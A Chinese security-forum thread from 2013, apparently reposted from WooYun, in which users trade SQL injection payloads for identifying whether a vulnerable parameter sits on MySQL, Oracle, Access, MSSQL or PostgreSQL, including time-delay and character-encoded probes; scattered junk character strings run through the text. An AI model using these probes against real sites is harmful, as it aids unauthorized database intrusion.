找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1911|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库! A0 s& m) I% Z% i5 z
xsser (十根阳具有长短!!) | 2013-02-05 12:36
' Y4 G0 P8 W* L4 `* J) T+ [假设这么一个注射点:: S$ p2 R, w' \7 F, \; T, `
show.html?id=2: h1 x  m$ g' m# d
mysql:id=2 and version()>0. @& e2 f* D+ _+ \4 A5 X/ M
oracle:id=2 and '1'||'1'='11
* K! P1 H8 i% H4 G, m, d4 t" F. u其他的欢迎补充) L( Q' p) e9 T3 A
1#: t0 _9 G* j; x+ s% @
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:476 A1 e, I- w& h: X5 g( d& p
Access:  C& X+ v- [; _% o2 U: U/ r
aNd aSc(cHr(97))=97
9 Q8 Z. N9 z2 H( _and exists(select id from MSysAccessObjects)0 N9 _: Z7 K' d' Y' |
SQL Server:
0 b; d  t  V3 {/ Y# U5 |+ Hand exists(select id from sysobjects)
& W: i' W; O/ q* P1 aand length(user)>08 ~5 @: A, \' v9 n: r2 n& U
MySQL:
7 F5 x, z9 ]4 G8 y0 r% k) \. K- P: X: dand length(user())>0& l  V6 E2 P7 z: \
2#
" |$ q, u. b5 L9 c, Kxsser (十根阳具有长短!!) | 2013-02-05 12:48
9 M  {# A- A3 C3 h5 b2 B$ e@upload 如果这些都不是呢…
* R+ Q) n/ b) q3#
7 Y" R. s& U( supload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
3 t; h2 s0 d4 t@xsser 不快速的,延时注入- {4 g/ ^- F2 O6 M+ }6 \
不知道这样写对不对" {2 q2 N9 c! b7 H9 |/ }- f
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
5 r9 H" {( ?" ?/ q: Tmysql:id=2 and select benchmark(1e8,current_date());
2 |2 b$ d( f5 m: d- Q4#+ e5 j4 S7 n8 d- |; A
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10& x2 B7 V) C% @: z# I# }4 P4 U
最快的貌似是看报错信息
7 h0 H4 w7 X1 ooracle error: Y, b' k( q$ T- a
mssql error0 j+ N  W2 p$ P
mysql error
/ A! c8 E% N/ F; _/ j9 y; x5#
2 n# ~- X8 t: y" D) ]3 XNimda (你们都是坏银~) | 2013-02-05 13:14+ @; v! S8 _. H+ g' e
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
" z, s  `! U9 `4 }5 J& r6#
/ n; y4 r& u( }0 d" R3 Oupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
7 E2 t; _# |; q  B0 p" C“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:- D# u+ V; f7 k# f0 V: ]
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:1 i+ O$ h- P2 x: L
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。; e: _4 T3 B/ ?6 w/ X/ X
7#
2 g; p  g* `9 ?. X_Evil (HackEnd) | 2013-02-05 13:331 ^  [2 l1 b0 u2 P
PostgreSQL
9 C" y. S2 d4 P4 J6 Q8#/ f  {1 Z4 f* g# }5 ~
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42( N/ y; F0 A3 `$ \  y
切换编码 and 1=1
  ]0 g- S) u) {* E9 moracle:/ l4 E$ h! X5 T7 p( y
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)/ ~, _/ i, j4 J$ C" C4 S9 r
mssql:
; C' x5 x5 z8 q; X9 @1 O8 T, iCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
% R) E+ }0 l/ t# c9 F  _* F$ Wmysql:
4 e0 \0 Y" N2 \7 p% u) _* FCHAR(97, 110, 100, 32, 49, 61, 49)
; \  u9 r3 o) G! H/ S9#( a5 d8 b9 {: u5 S5 r  u! P
xsser (十根阳具有长短!!) | 2013-02-05 14:31
, R5 R  J% }" }, v, X$ j* N$ e@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
4 ?- V2 o7 V' e10#! B$ [0 C9 a" c: a8 {: k, {4 X! Y
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
" o( j, x" f* m- B1 z@xsser 是奇葩数据库类型的么?
+ s8 A; j4 w; d- o5 \/ {7 a& ]根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:5 C$ T1 F8 N% q2 U
1.是否可以使用特定的函数来判断,该数据库特有的  k5 q! H/ Z: \0 F; Z
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
" K: s. O8 m* i) O- i! ~, j$ y3.是否可以编码查询3 n1 W. E$ s" _" Y- `
4.是否显可以利用错信息9 M: A5 J7 \+ j/ y8 R/ `$ T
5.是否存在数据库某些特性辅助判断
. C( j4 u! A  n8 J) L0 }1 ^! k个人见解
; y( }" ~: Y; ?5 ?' N11## C' |+ U/ `6 t( X8 Q8 \' ~
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55/ H% X& F' Z, O3 ~; ~
已收藏,mssql可以直接看到错误提示的吧~
6 h! X  n: {! `" U! ^) v: j12#  C- i6 D* W  ^
Passer_by | 2013-02-05 15:090 R' \3 |  u8 ]- L$ a7 T
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
4 O4 B9 @" r/ s+ X% S5 ?from:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表